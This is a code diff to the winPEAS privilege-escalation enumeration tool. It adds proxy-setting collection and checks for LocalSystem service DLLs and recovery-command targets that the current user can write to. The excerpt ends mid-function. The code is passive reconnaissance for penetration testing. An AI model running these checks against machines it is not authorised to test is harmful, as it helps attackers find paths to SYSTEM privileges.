Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/InternetSettings/InternetSettings.cs @@ -1,10 +1,52 @@ -using System.Collections.Generic; +using System; +using System.Collections; +using System.Collections.Generic; +using System.Net; +using System.Net.Sockets; +using System.Runtime.InteropServices; using winPEAS.Helpers.Registry; namespace winPEAS.Info.NetworkInfo.InternetSettings { class InternetSettings { + private const string InternetSettingsKey = @"Software\Microsoft\Windows\CurrentVersion\Internet Settings"; + private const string InternetSettingsPolicyKey = @"Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings"; + + private static readonly HashSet ProxyValueNames = new HashSet(StringComparer.OrdinalIgnoreCase) + { + "ProxyEnable", + "ProxyServer", + "ProxyOverride", + "AutoConfigURL", + "AutoDetect", + "ProxySettingsPerUser" + }; + + private static readonly HashSet ProxyEnvironmentVariableNames = new HashSet(StringComparer.OrdinalIgnoreCase) + { + "HTTP_PROXY", + "HTTPS_PROXY", + "ALL_PROXY", + "FTP_PROXY", + "NO_PROXY" + }; + + [StructLayout(LayoutKind.Sequential)] + private struct WinHttpProxyInfo + { + public uint AccessType; + public IntPtr Proxy; + public IntPtr ProxyBypass; + } + + [DllImport("winhttp.dll", SetLastError = true, CharSet = CharSet.Unicode)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool WinHttpGetDefaultProxyConfiguration(out WinHttpProxyInfo proxyInfo); + + [DllImport("kernel32.dll")] + private static extern IntPtr GlobalFree(IntPtr memory); + public static InternetSettingsInfo GetInternetSettingsInfo() { var result = new InternetSettingsInfo(); @@ -14,56 +56,51 @@ public static InternetSettingsInfo GetInternetSettingsInfo() // 2 = Trusted Sites zone – sites that have been added to your trusted sites. // 3 = Internet zone – sites that are on the Internet. // 4 = Restricted Sites zone – sites that have been specifically added to your restricted sites. + IDictionary zoneMapKeys = new Dictionary() + { + {"0", "My Computer" }, + {"1", "Local Intranet Zone"}, + {"2", "Trusted Sites Zone"}, + {"3", "Internet Zone"}, + {"4", "Restricted Sites Zone"} + }; + // WinINet settings are kept in the existing general listing and are also + // summarized with their full source in the proxy-specific listing. + AddSettings("HKCU", InternetSettingsKey, result.GeneralSettings); + AddSettings("HKLM", InternetSettingsKey, result.GeneralSettings); + AddProxyRegistrySettings("HKCU", InternetSettingsKey, result.ProxySettings); + AddProxyRegistrySettings("HKLM", InternetSettingsKey, result.ProxySettings); - IDictionary zoneMapKeys = new Dictionary() - { - {"0", "My Computer" }, - {"1", "Local Intranet Zone"}, - {"2", "Trusted Sites Zone"}, - {"3", "Internet Zone"}, - {"4", "Restricted Sites Zone"} - }; - - // lists user/system internet settings, including default proxy info - string internetSettingsKey = "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings"; - AddSettings("HKCU", internetSettingsKey, result.GeneralSettings, zoneMapKeys: null); - AddSettings("HKLM", internetSettingsKey, result.GeneralSettings, zoneMapKeys: null); + // Group Policy can choose machine-wide proxy settings or define the same + // WinINet values independently of the preferences shown to the user. + AddProxyRegistrySettings("HKCU", InternetSettingsPolicyKey, result.ProxySettings); + AddProxyRegistrySettings("HKLM", InternetSettingsPolicyKey, result.ProxySettings); + + AddProxyEnvironmentSettings(result.ProxySettings); + AddWinHttpProxySettings(result.ProxySettings); string zoneMapKey = @"Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMapKey"; AddSettings("HKCU", zoneMapKey, result.ZoneMaps, zoneMapKeys); AddSettings("HKLM", zoneMapKey, result.ZoneMaps, zoneMapKeys); // List Zones settings with automatic logons - - /** - * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\{0..4}\1A00 - * Logon setting (1A00) may have any one of the following values (hexadecimal): - * Value Setting - * --------------------------------------------------------------- - * 0x00000000 Automatically logon with current username and password - * 0x00010000 Prompt for user name and password - * 0x00020000 Automatic logon only in the Intranet zone - * 0x00030000 Anonymous logon - **/ - IDictionary zoneAuthSettings = new Dictionary() - { - {0x00000000, "Automatically logon with current username and password"}, - {0x00010000, "Prompt for user name and password"}, - {0x00020000, "Automatic logon only in the Intranet zone"}, - {0x00030000, "Anonymous logon"} - }; + { + {0x00000000, "Automatically logon with current username and password"}, + {0x00010000, "Prompt for user name and password"}, + {0x00020000, "Automatic logon only in the Intranet zone"}, + {0x00030000, "Anonymous logon"} + }; for (int i = 0; i <= 4; i++) { var keyPath = @"Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\" + i; var isParsed = uint.TryParse(RegistryHelper.GetRegValue("HKLM", keyPath, "1A00"), out uint authSetting); - if (isParsed) + if (isParsed && zoneAuthSettings.TryGetValue(authSetting, out string authSettingStr)) { var zone = zoneMapKeys[i.ToString()]; - var authSettingStr = zoneAuthSettings[authSetting]; result.ZoneAuthSettings.Add(new InternetSettingsKey( "HKLM", @@ -78,22 +115,297 @@ public static InternetSettingsInfo GetInternetSettingsInfo() return result; } - private static void AddSettings(string hive, string keyPath, IList internetSettingsList, IDictionary zoneMapKeys = null) + private static void AddSettings(string hive, string keyPath, IList settings, IDictionary interpretations = null) { - var proxySettings = (RegistryHelper.GetRegValues(hive, keyPath) ?? new Dictionary()); - if (proxySettings != null) + var registrySettings = RegistryHelper.GetRegValues(hive, keyPath) ?? new Dictionary(); + foreach (var setting in registrySettings) { - foreach (var kvp in proxySettings) + string value = setting.Value?.ToString() ?? string.Empty; + string interpretation = null; + interpretations?.TryGetValue(value, out interpretation); + + settings.Add(new InternetSettingsKey(hive, keyPath, setting.Key, value, interpretation)); + } + } + + private static void AddProxyRegistrySettings(string hive, string keyPath, IList settings) + { + var registrySettings = RegistryHelper.GetRegValues(hive, keyPath) ?? new Dictionary(); + foreach (var setting in registrySettings) + { + if (!ProxyValueNames.Contains(setting.Key)) { - string interpretation = zoneMapKeys?[kvp.Value.ToString()]; + continue; + } - internetSettingsList.Add(new InternetSettingsKey( - hive, - keyPath, - kvp.Key, - kvp.Value.ToString(), - interpretation)); + string value = setting.Value?.ToString() ?? string.Empty; + settings.Add(new InternetSettingsKey( + hive, + keyPath, + setting.Key, + value, + DescribeProxySetting(setting.Key, value) + )); + } + } + + private static void AddProxyEnvironmentSettings(IList settings) + { + foreach (DictionaryEntry variable in Environment.GetEnvironmentVariables()) + { + string name = variable.Key?.ToString() ?? string.Empty; + if (!ProxyEnvironmentVariableNames.Contains(name)) + { + continue; + } + + string value = variable.Value?.ToString() ?? string.Empty; + settings.Add(new InternetSettingsKey( + "Process", + "Environment", + name, + value, + DescribeProxySetting(name, value) + )); + } + + AddProxyEnvironmentRegistrySettings("HKCU", "Environment", settings); + AddProxyEnvironmentRegistrySettings( + "HKLM", + @"SYSTEM\CurrentControlSet\Control\Session Manager\Environment", + settings + ); + } + + private static void AddProxyEnvironmentRegistrySettings(string hive, string keyPath, IList settings) + { + var environmentSettings = RegistryHelper.GetRegValues(hive, keyPath) ?? new Dictionary(); + foreach (var setting in environmentSettings) + { + if (!ProxyEnvironmentVariableNames.Contains(setting.Key)) + { + continue; + } + + string value = setting.Value?.ToString() ?? string.Empty; + settings.Add(new InternetSettingsKey( + hive, + keyPath, + setting.Key, + value, + DescribeProxySetting(setting.Key, value) + )); + } + } + + private static void AddWinHttpProxySettings(IList settings) + { + if (!WinHttpGetDefaultProxyConfiguration(out WinHttpProxyInfo proxyInfo)) + { + return; + } + + try + { + string accessTypeDescription; + switch (proxyInfo.AccessType) + { + case 0: + accessTypeDescription = "System/default proxy selection"; + break; + case 1: + accessTypeDescription = "Direct access (no WinHTTP proxy)"; + break; + case 3: + accessTypeDescription = "Named WinHTTP proxy configured"; + break; + case 4: + accessTypeDescription = "Automatic WinHTTP proxy selection"; + break; + default: + accessTypeDescription = "Unknown WinHTTP access type"; + break; + } + + settings.Add(new InternetSettingsKey( + "WinHTTP", + "WinHttpGetDefaultProxyConfiguration", + "AccessType", + proxyInfo.AccessType.ToString(), + accessTypeDescription + )); + + string proxy = Marshal.PtrToStringUni(proxyInfo.Proxy); + if (!string.IsNullOrWhiteSpace(proxy)) + { + settings.Add(new InternetSettingsKey( + "WinHTTP", + "WinHttpGetDefaultProxyConfiguration", + "Proxy", + proxy, + DescribeProxyEndpoint(proxy) + )); + } + + string proxyBypass = Marshal.PtrToStringUni(proxyInfo.ProxyBypass); + if (!string.IsNullOrWhiteSpace(proxyBypass)) + { + settings.Add(new InternetSettingsKey( + "WinHTTP", + "WinHttpGetDefaultProxyConfiguration", + "ProxyBypass", + proxyBypass, + "Bypass list (not a proxy destination)" + )); + } + } + finally + { + if (proxyInfo.Proxy != IntPtr.Zero) + { + GlobalFree(proxyInfo.Proxy); + } + + if (proxyInfo.ProxyBypass != IntPtr.Zero) + { + GlobalFree(proxyInfo.ProxyBypass); + } + } + } + + private static string DescribeProxySetting(string name, string value) + { + if (name.Equals("ProxyEnable", StringComparison.OrdinalIgnoreCase)) + { + return value == "1" ? "Explicit WinINet proxy enabled" : "Explicit WinINet proxy disabled"; + } + + if (name.Equals("AutoDetect", StringComparison.OrdinalIgnoreCase)) + { + return value == "1" ? "Automatic proxy detection enabled" : "Automatic proxy detection disabled"; + } + + if (name.Equals("ProxySettingsPerUser", StringComparison.OrdinalIgnoreCase)) + { + return value == "0" ? "Machine-wide proxy policy" : "Per-user proxy policy"; + } + + if (name.Equals("ProxyOverride", StringComparison.OrdinalIgnoreCase) || + name.Equals("NO_PROXY", StringComparison.OrdinalIgnoreCase)) + { + return "Bypass list (not a proxy destination)"; + } + + return DescribeProxyEndpoint(value); + } + + private static string DescribeProxyEndpoint(string value) + { + var descriptions = new List(); + // WINHTTP_PROXY_INFO allows proxy entries to be separated by either + // semicolons or whitespace. Handle both forms so one unparseable entry + // cannot hide a remote destination later in the list. + char[] proxySeparators = { ';', ' ', '\t', '\r', '\n' }; + foreach (string rawEntry in value.Split(proxySeparators, StringSplitOptions.RemoveEmptyEntries)) + { + string entry = rawEntry.Trim(); + int assignmentIndex = entry.IndexOf('='); + if (assignmentIndex >= 0 && assignmentIndex < entry.Length - 1) + { + entry = entry.Substring(assignmentIndex + 1).Trim(); + } + + if (entry.Equals("DIRECT", StringComparison.OrdinalIgnoreCase)) + { + AddUnique(descriptions, "direct/no proxy"); + continue; + } + + string host = GetHost(entry); + if (string.IsNullOrWhiteSpace(host)) + { + AddUnique(descriptions, "destination could not be classified"); + continue; + } + + AddUnique(descriptions, DescribeHost(host)); + } + + return descriptions.Count == 0 + ? "destination could not be classified" + : string.Join(", ", descriptions); + } + + private static string GetHost(string endpoint) + { + if (Uri.TryCreate(endpoint, UriKind.Absolute, out Uri absoluteUri) && !string.IsNullOrWhiteSpace(absoluteUri.Host)) + { + return absoluteUri.Host; + } + + return Uri.TryCreate("http://" + endpoint, UriKind.Absolute, out Uri proxyUri) + ? proxyUri.Host + : string.Empty; + } + + private static string DescribeHost(string host) + { + if (host.Equals("localhost", StringComparison.OrdinalIgnoreCase) || + host.Equals(Environment.MachineName, StringComparison.OrdinalIgnoreCase)) + { + return "loopback/local destination"; + } + + if (IPAddress.TryParse(host, out IPAddress address)) + { + if (IPAddress.IsLoopback(address)) + { + return "loopback/local destination"; } + + return IsPrivateOrLocalAddress(address) + ? "remote destination - private/link-local IP" + : "remote destination - public IP (trust unknown)"; + } + + if (host.IndexOf('.') < 0 || + host.EndsWith(".local", StringComparison.OrdinalIgnoreCase) || + host.EndsWith(".lan", StringComparison.OrdinalIgnoreCase) || + host.EndsWith(".internal", StringComparison.OrdinalIgnoreCase) || + host.EndsWith(".localdomain", StringComparison.OrdinalIgnoreCase)) + { + return "remote destination - internal-looking hostname (trust unknown)"; + } + + return "remote destination - fully qualified hostname (trust unknown)"; + } + + private static bool IsPrivateOrLocalAddress(IPAddress address) + { + if (address.AddressFamily == AddressFamily.InterNetwork) + { + byte[] bytes = address.GetAddressBytes(); + return bytes[0] == 10 || + (bytes[0] == 100 && bytes[1] >= 64 && bytes[1] <= 127) || + (bytes[0] == 169 && bytes[1] == 254) || + (bytes[0] == 172 && bytes[1] >= 16 && bytes[1] <= 31) || + (bytes[0] == 192 && bytes[1] == 168); + } + + if (address.AddressFamily == AddressFamily.InterNetworkV6) + { + byte[] bytes = address.GetAddressBytes(); + return address.IsIPv6LinkLocal || address.IsIPv6SiteLocal || (bytes[0] & 0xFE) == 0xFC; + } + + return false; + } + + private static void AddUnique(ICollection values, string value) + { + if (!values.Contains(value)) + { + values.Add(value); } } } diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/InternetSettings/InternetSettingsInfo.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/InternetSettings/InternetSettingsInfo.cs index c2c61b0b..b313cfed 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/InternetSettings/InternetSettingsInfo.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/InternetSettings/InternetSettingsInfo.cs @@ -5,6 +5,7 @@ namespace winPEAS.Info.NetworkInfo.InternetSettings class InternetSettingsInfo { public IList GeneralSettings { get; set; } = new List(); + public IList ProxySettings { get; set; } = new List(); public IList ZoneMaps { get; set; } = new List(); public IList ZoneAuthSettings { get; set; } = new List(); } diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkInfoHelper.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkInfoHelper.cs index bf04ea4d..f0854490 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkInfoHelper.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkInfoHelper.cs @@ -17,8 +17,8 @@ class NetworkInfoHelper { // https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-socket private const int AF_INET = 2; - private const int AF_INET6 = 23; - + private const int AF_INET6 = 23; + [StructLayout(LayoutKind.Sequential)] internal struct MIB_IPNETROW { @@ -218,12 +218,12 @@ public static List> GetNetConnections() } return results; - } - - - - // https://stackoverflow.com/questions/3567063/get-a-list-of-all-unc-shared-folders-on-a-local-network-server - // v2: https://stackoverflow.com/questions/6227892/reading-share-permissions-in-c-sharp + } + + + + // https://stackoverflow.com/questions/3567063/get-a-list-of-all-unc-shared-folders-on-a-local-network-server + // v2: https://stackoverflow.com/questions/6227892/reading-share-permissions-in-c-sharp public static List> GetNetworkShares(string pcname) { List> results = new List>(); @@ -297,8 +297,8 @@ public static List> GetDNSCache() Beaprint.PrintException(ex.Message); } return results; - } - + } + public static List GetTcpConnections(IPVersion ipVersion, Dictionary processesByPid = null) { int bufferSize = 0; @@ -325,8 +325,8 @@ public static List GetTcpConnections(IPVersion ipVersion, Dic // If not zero, the call failed. if (result != 0) - { - return new List(); + { + return new List(); } // Marshals data fron an unmanaged block of memory to the @@ -349,9 +349,9 @@ public static List GetTcpConnections(IPVersion ipVersion, Dic // Add row to list of TcpConnetions. string proc_name = GetProcessNameByPid(tcpRow.owningPid, processesByPid); - if (proc_name == "Idle") - { //Sometime too many Idle connections that doesn't provide sensitive info - continue; + if (proc_name == "Idle") + { //Sometime too many Idle connections that doesn't provide sensitive info + continue; } tcpTableRecords.Add(new TcpConnectionInfo( @@ -384,9 +384,9 @@ public static List GetTcpConnections(IPVersion ipVersion, Dic MIB_TCP6ROW_OWNER_PID tcpRow = (MIB_TCP6ROW_OWNER_PID)Marshal.PtrToStructure(tableRowPtr, typeof(MIB_TCP6ROW_OWNER_PID)); string proc_name = GetProcessNameByPid(tcpRow.owningPid, processesByPid); - if (proc_name == "Idle") - { //Sometime too many Idle connections that doesn't provide sensitive info - continue; + if (proc_name == "Idle") + { //Sometime too many Idle connections that doesn't provide sensitive info + continue; } tcpTableRecords.Add(new TcpConnectionInfo( @@ -407,14 +407,6 @@ public static List GetTcpConnections(IPVersion ipVersion, Dic } } } - catch (OutOfMemoryException outOfMemoryException) - { - throw outOfMemoryException; - } - catch (Exception exception) - { - throw exception; - } finally { Marshal.FreeHGlobal(tcpTableRecordsPtr); @@ -505,14 +497,6 @@ public static IEnumerable GetUdpConnections(IPVersion ipVersi } } } - catch (OutOfMemoryException outOfMemoryException) - { - throw outOfMemoryException; - } - catch (Exception exception) - { - throw exception; - } finally { Marshal.FreeHGlobal(udpTableRecordsPtr); diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ServicesInfo/ServicesInfoHelper.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ServicesInfo/ServicesInfoHelper.cs index 32770845..bda06e09 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ServicesInfo/ServicesInfoHelper.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ServicesInfo/ServicesInfoHelper.cs @@ -10,16 +10,99 @@ using System.Security.AccessControl; using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; +using System.Security.Principal; using System.ServiceProcess; using System.Text.RegularExpressions; using winPEAS.Helpers; using winPEAS.Helpers.Registry; +using winPEAS.Info.ApplicationInfo; using winPEAS.Native; namespace winPEAS.Info.ServicesInfo { + internal sealed class WritableServiceDllInfo + { + public string ServiceName { get; set; } + public string Account { get; set; } + public string ServiceDllPath { get; set; } + public bool FileExists { get; set; } + public string AccessReason { get; set; } + } + + internal sealed class WritableServiceDllReport + { + public List Findings { get; } = new List(); + public int ServicesInspected { get; set; } + public bool ServiceLimitReached { get; set; } + public bool FindingLimitReached { get; set; } + } + + internal sealed class WritableServiceRecoveryCommandInfo + { + public string ServiceName { get; set; } + public string Account { get; set; } + public string TargetPath { get; set; } + public bool TargetExists { get; set; } + public string AccessReason { get; set; } + } + + internal sealed class WritableServiceRecoveryCommandReport + { + public List Findings { get; } = new List(); + public int ServicesInspected { get; set; } + public bool ServiceLimitReached { get; set; } + public bool FindingLimitReached { get; set; } + } + class ServicesInfoHelper { + internal const int MaxServiceDllServices = 4096; + internal const int MaxServiceDllFindings = 64; + internal const int MaxRecoveryCommandServices = 4096; + internal const int MaxRecoveryCommandFindings = 64; + + private const int ServiceWin32OwnProcess = 0x10; + private const int ServiceWin32ShareProcess = 0x20; + private const int ServiceWin32TypeMask = 0x30; + private const int ServiceDisabled = 0x4; + private const uint ScManagerConnect = 0x0001; + private const uint ServiceQueryConfig = 0x0001; + private const uint ServiceConfigFailureActions = 2; + private const int ScActionRunCommand = 3; + private const uint ErrorInsufficientBuffer = 122; + private const uint MaxServiceConfigBuffer = 8192; + private const int FileWriteData = 0x00000002; + private const int FileAddFile = 0x00000002; + private const int FileDeleteChild = 0x00000040; + private const int Delete = 0x00010000; + private const int WriteDac = 0x00040000; + private const int WriteOwner = 0x00080000; + private const int FileAllAccess = 0x001F01FF; + private const int FileGenericRead = 0x00120089; + private const int FileGenericWrite = 0x00120116; + private const int FileGenericExecute = 0x001200A0; + private const int GenericAll = 0x10000000; + private const int GenericExecute = 0x20000000; + private const int GenericWrite = 0x40000000; + private const int GenericRead = unchecked((int)0x80000000); + + [StructLayout(LayoutKind.Sequential)] + private struct ServiceFailureActions + { + public uint ResetPeriod; + public IntPtr RebootMessage; + public IntPtr Command; + public uint ActionCount; + public IntPtr Actions; + } + + [StructLayout(LayoutKind.Sequential)] + private struct ServiceFailureAction + { + public int Type; + public uint Delay; + } + /////////////////////////////////////////////// //// Non Standard Services (Non Microsoft) //// /////////////////////////////////////////////// @@ -382,6 +465,918 @@ internal class KernelDriverSignatureInfo } + ////////////////////////////////////////////////////// + //////// Writable LocalSystem service DLLs /////////// + ////////////////////////////////////////////////////// + public static WritableServiceDllReport GetWritableSystemServiceDlls(Dictionary currentUserSids) + { + var report = new WritableServiceDllReport(); + if (currentUserSids == null || currentUserSids.Count == 0) + { + return report; + } + + string windowsDirectory = GetWindowsDirectory(); + if (string.IsNullOrWhiteSpace(windowsDirectory)) + { + return report; + } + + var tokenSids = new HashSet(currentUserSids.Keys, StringComparer.OrdinalIgnoreCase); + + try + { + using (RegistryKey servicesKey = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Services")) + { + if (servicesKey == null) + { + return report; + } + + string[] serviceNames = servicesKey.GetSubKeyNames(); + foreach (string serviceName in serviceNames) + { + if (report.ServicesInspected >= MaxServiceDllServices) + { + report.ServiceLimitReached = true; + break; + } + if (report.Findings.Count >= MaxServiceDllFindings) + { + report.FindingLimitReached = true; + break; + } + + report.ServicesInspected++; + try + { + using (RegistryKey serviceKey = servicesKey.OpenSubKey(serviceName)) + { + if (serviceKey == null || !IsEligibleSystemService( + GetRegistryInt(serviceKey, "Type"), + GetRegistryInt(serviceKey, "Start"), + GetRegistryInt(serviceKey, "LaunchProtected"), + GetRegistryString(serviceKey, "ObjectName"), + GetRegistryString(serviceKey, "ImagePath"), + windowsDirectory)) + { + continue; + } + + string rawServiceDll; + if (!TryGetServiceDll(serviceKey, out rawServiceDll)) + { + continue; + } + + string serviceDllPath = NormalizeServiceDllPath(rawServiceDll, windowsDirectory); + if (string.IsNullOrWhiteSpace(serviceDllPath) || serviceDllPath.Length > 32767 || + serviceDllPath.IndexOf('%') >= 0 || !IsLocalDrivePath(serviceDllPath)) + { + continue; + } + + bool fileExists; + string accessReason; + string accessPath = GetFileSystemAccessPath( + serviceDllPath, + windowsDirectory, + Environment.Is64BitOperatingSystem, + Environment.Is64BitProcess); + if (!TryGetReplacementDetails( + accessPath, + tokenSids, + "service DLL", + out fileExists, + out accessReason)) + { + continue; + } + + report.Findings.Add(new WritableServiceDllInfo + { + ServiceName = serviceName, + Account = GetDisplayAccount(GetRegistryString(serviceKey, "ObjectName")), + ServiceDllPath = serviceDllPath, + FileExists = fileExists, + AccessReason = accessReason, + }); + } + } + catch + { + // A malformed or inaccessible service entry must not stop enumeration. + } + } + } + } + catch + { + // Service registry enumeration can be restricted; keep this passive check quiet. + } + + return report; + } + + internal static bool IsEligibleSystemService( + int? serviceType, + int? startType, + int? launchProtected, + string account, + string imagePath, + string windowsDirectory) + { + return serviceType.HasValue && + (serviceType.Value & ServiceWin32TypeMask) == ServiceWin32ShareProcess && + IsEligibleUnprotectedSystemService(serviceType, startType, launchProtected, account) && + IsSystemSvchostImage(imagePath, windowsDirectory); + } + + internal static bool IsLocalSystemAccount(string account) + { + if (string.IsNullOrWhiteSpace(account)) + { + return true; + } + + string normalized = account.Trim(); + return normalized.Equals("LocalSystem", StringComparison.OrdinalIgnoreCase) || + normalized.Equals("SYSTEM", StringComparison.OrdinalIgnoreCase) || + normalized.Equals(@"NT AUTHORITY\SYSTEM", StringComparison.OrdinalIgnoreCase) || + normalized.Equals(@"NT AUTHORITY\LocalSystem", StringComparison.OrdinalIgnoreCase); + } + + ////////////////////////////////////////////////////// + ////// Writable LocalSystem recovery commands //////// + ////////////////////////////////////////////////////// + public static WritableServiceRecoveryCommandReport GetWritableSystemRecoveryCommands( + Dictionary currentUserSids) + { + var report = new WritableServiceRecoveryCommandReport(); + if (currentUserSids == null || currentUserSids.Count == 0) + { + return report; + } + + string windowsDirectory = GetWindowsDirectory(); + if (string.IsNullOrWhiteSpace(windowsDirectory)) + { + return report; + } + + var tokenSids = new HashSet(currentUserSids.Keys, StringComparer.OrdinalIgnoreCase); + IntPtr serviceManager = IntPtr.Zero; + try + { + serviceManager = Advapi32.OpenSCManager(null, null, ScManagerConnect); + if (serviceManager == IntPtr.Zero) + { + return report; + } + + using (RegistryKey servicesKey = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Services")) + { + if (servicesKey == null) + { + return report; + } + + foreach (string serviceName in servicesKey.GetSubKeyNames()) + { + if (report.ServicesInspected >= MaxRecoveryCommandServices) + { + report.ServiceLimitReached = true; + break; + } + if (report.Findings.Count >= MaxRecoveryCommandFindings) + { + report.FindingLimitReached = true; + break; + } + + report.ServicesInspected++; + try + { + using (RegistryKey serviceKey = servicesKey.OpenSubKey(serviceName)) + { + if (serviceKey == null || !IsEligibleRecoveryService( + GetRegistryInt(serviceKey, "Type"), + GetRegistryInt(serviceKey, "Start"), + GetRegistryInt(serviceKey, "LaunchProtected"), + GetRegistryString(serviceKey, "ObjectName"))) + { + continue; + } + + string command = GetRegistryString(serviceKey, "FailureCommand"); + if (string.IsNullOrWhiteSpace(command) || command.Length > 32767 || + !HasRunCommandFailureAction(serviceManager, serviceName)) + { + continue; + } + + foreach (string target in GetRecoveryCommandTargets(command, windowsDirectory)) + { + if (report.Findings.Count >= MaxRecoveryCommandFindings) + { + report.FindingLimitReached = true; + break; + } + + bool targetExists; + string accessReason; + string accessPath = GetFileSystemAccessPath( + target, + windowsDirectory, + Environment.Is64BitOperatingSystem, + Environment.Is64BitProcess); + if (string.IsNullOrWhiteSpace(accessPath) || !IsLocalDrivePath(accessPath)) + { + continue; + } + + if (!TryGetReplacementDetails( + accessPath, + tokenSids, + "recovery command target", + out targetExists, + out accessReason)) + { + continue; + } + + report.Findings.Add(new WritableServiceRecoveryCommandInfo + { + ServiceName = serviceName, + Account = GetDisplayAccount(GetRegistryString(serviceKey, "ObjectName")), + TargetPath = target, + TargetExists = targetExists, + AccessReason = accessReason, + }); + } + } + } + catch + { + // A malformed or inaccessible service entry must not stop enumeration. + } + } + } + } + catch + { + // Service configuration or registry enumeration may be restricted. + } + finally + { + if (serviceManager != IntPtr.Zero) + { + Advapi32.CloseServiceHandle(serviceManager); + } + } + + return report; + } + + internal static bool IsEligibleRecoveryService( + int? serviceType, + int? startType, + int? launchProtected, + string account) + { + if (!IsEligibleUnprotectedSystemService(serviceType, startType, launchProtected, account)) + { + return false; + } + + int win32Type = serviceType.Value & ServiceWin32TypeMask; + return win32Type == ServiceWin32OwnProcess || win32Type == ServiceWin32ShareProcess; + } + + private static bool IsEligibleUnprotectedSystemService( + int? serviceType, + int? startType, + int? launchProtected, + string account) + { + return serviceType.HasValue && startType.HasValue && + startType.Value != ServiceDisabled && + (!launchProtected.HasValue || launchProtected.Value == 0) && + IsLocalSystemAccount(account); + } + + internal static List GetRecoveryCommandTargets(string rawCommand, string windowsDirectory) + { + var targets = new HashSet(StringComparer.OrdinalIgnoreCase); + string executable; + string arguments; + if (!TryParseRecoveryCommand(rawCommand, windowsDirectory, out executable, out arguments)) + { + return new List(); + } + + targets.Add(executable); + foreach (string referencedPath in PrivilegedScheduledTasks.ExtractReferencedFilePaths( + executable, + arguments, + windowsDirectory.TrimEnd('\\', '/') + @"\System32")) + { + if (targets.Count >= 8) + { + break; + } + targets.Add(referencedPath); + } + + return new List(targets); + } + + internal static bool TryParseRecoveryCommand( + string rawCommand, + string windowsDirectory, + out string executable, + out string arguments) + { + executable = string.Empty; + arguments = string.Empty; + if (string.IsNullOrWhiteSpace(rawCommand) || string.IsNullOrWhiteSpace(windowsDirectory)) + { + return false; + } + + string command = ExpandWindowsPath(rawCommand, windowsDirectory); + if (string.IsNullOrWhiteSpace(command) || command.IndexOf('%') >= 0 || command.Length > 32767) + { + return false; + } + command = command.Trim(); + + int argumentOffset; + if (command[0] == '"') + { + int closingQuote = command.IndexOf('"', 1); + if (closingQuote <= 1) + { + return false; + } + executable = command.Substring(1, closingQuote - 1).Trim(); + argumentOffset = closingQuote + 1; + } + else + { + bool startsWithAbsolutePath = command.Length >= 3 && + char.IsLetter(command[0]) && command[1] == ':' && + (command[2] == '\\' || command[2] == '/'); + int whitespace = command.IndexOfAny(new[] { ' ', '\t', '\r', '\n' }); + int extension = command.IndexOf(".exe", StringComparison.OrdinalIgnoreCase); + if (!startsWithAbsolutePath && whitespace >= 0 && extension > whitespace) + { + extension = -1; + } + if (extension >= 0) + { + argumentOffset = extension + 4; + executable = command.Substring(0, argumentOffset).Trim(); + } + else + { + argumentOffset = whitespace < 0 ? command.Length : whitespace; + executable = command.Substring(0, argumentOffset).Trim(); + } + } + + executable = NormalizeRecoveryExecutable(executable, windowsDirectory); + if (string.IsNullOrWhiteSpace(executable) || executable.Length > 32767 || + executable.IndexOf('%') >= 0 || !IsAbsoluteLocalPathSyntax(executable)) + { + executable = string.Empty; + return false; + } + + arguments = argumentOffset < command.Length + ? command.Substring(argumentOffset).Trim() + : string.Empty; + return true; + } + + private static string NormalizeRecoveryExecutable(string executable, string windowsDirectory) + { + string normalized = StripWin32DevicePrefix(executable.Trim()).Replace('/', '\\'); + if (normalized.IndexOf('\\') < 0 && normalized.IndexOf(':') < 0) + { + if (normalized.IndexOf('.') < 0) + { + normalized += ".exe"; + } + normalized = windowsDirectory.TrimEnd('\\', '/') + @"\System32\" + normalized; + } + return StripWin32DevicePrefix(normalized); + } + + private static bool IsAbsoluteLocalPathSyntax(string path) + { + return !string.IsNullOrWhiteSpace(path) && path.Length >= 3 && + char.IsLetter(path[0]) && path[1] == ':' && + (path[2] == '\\' || path[2] == '/'); + } + + private static bool HasRunCommandFailureAction(IntPtr serviceManager, string serviceName) + { + IntPtr service = IntPtr.Zero; + IntPtr buffer = IntPtr.Zero; + try + { + service = Advapi32.OpenService(serviceManager, serviceName, ServiceQueryConfig); + if (service == IntPtr.Zero) + { + return false; + } + + uint bytesNeeded; + bool initialResult = Advapi32.QueryServiceConfig2( + service, + ServiceConfigFailureActions, + IntPtr.Zero, + 0, + out bytesNeeded); + if 